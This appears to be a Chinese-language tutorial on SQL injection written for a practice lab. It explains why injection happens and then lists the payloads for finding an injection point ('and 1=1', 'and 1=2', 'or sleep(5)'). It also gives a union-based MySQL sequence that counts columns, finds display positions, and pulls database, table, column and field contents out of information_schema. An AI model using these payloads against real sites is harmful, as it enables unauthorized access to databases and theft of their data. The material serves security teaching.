一、SQL注入本质分析
1、SQL注入本质
在讲到SQL注入之前我们先来聊一下什么是SQL注入? 注入攻击的本质,是把用户输入的数据当做SQL代码执行
2、注入攻击的本质
两个关键条件:
第一个:
用户能够控制输入
第二个:
程序原本要执行的代码,拼接了用户输入的数据然后进行执行
像我们常见的登陆框,一般就满足我们的第一个条件
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中再在后台 Sql 服务器上解析执行进行的攻击
它目前黑客对数据库进行攻击的最常用手段之一。
二、分析靶场注入
1.分析靶场注入
靶场地址:
判断注入点:
and 1=1 页面正常
and 1=2 页面不正常
最简单的方法:
页面后面家‘,“ 看是否报错我的方法: 如果是数字类型的传参,可以试一下-1
http://www.com/news.php?id=1 页面显示 id=1 的新闻
http://www.com/news.php?id=2-1 页面显示 id=1 的新闻
也可以试试 and -1 = -1 , and -1 = -2 and 1 > 0 等方法 或者直接 or sleep(5) 【当然sleep也可能被拦截】
2、注入的基本流程
显错注入-联合查询(MYSQL数据库)注入的基本流程
通过系统自带库查询MYSQL在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
information_schema.tables 存放表名和库名以及其它相关内容
information_schema.columns 存放字段名和表名以及其它相关内容
三、显错注入靶场的做法
MYSQL注入:
判断当前页面字段总数
and 1=1 order by 1,2,3,4,5……
判断显示位
and 1=2 union select 1,2,3,4,5,6,7……
查当前数据库
and 1=2 union select 1,2,database()
查表名
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
查列名
and 1=2 union select 1,2,column_name from information_schema.columns where table_name=表名 and
table_schema=database() limit 0,1
查字段内容
and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1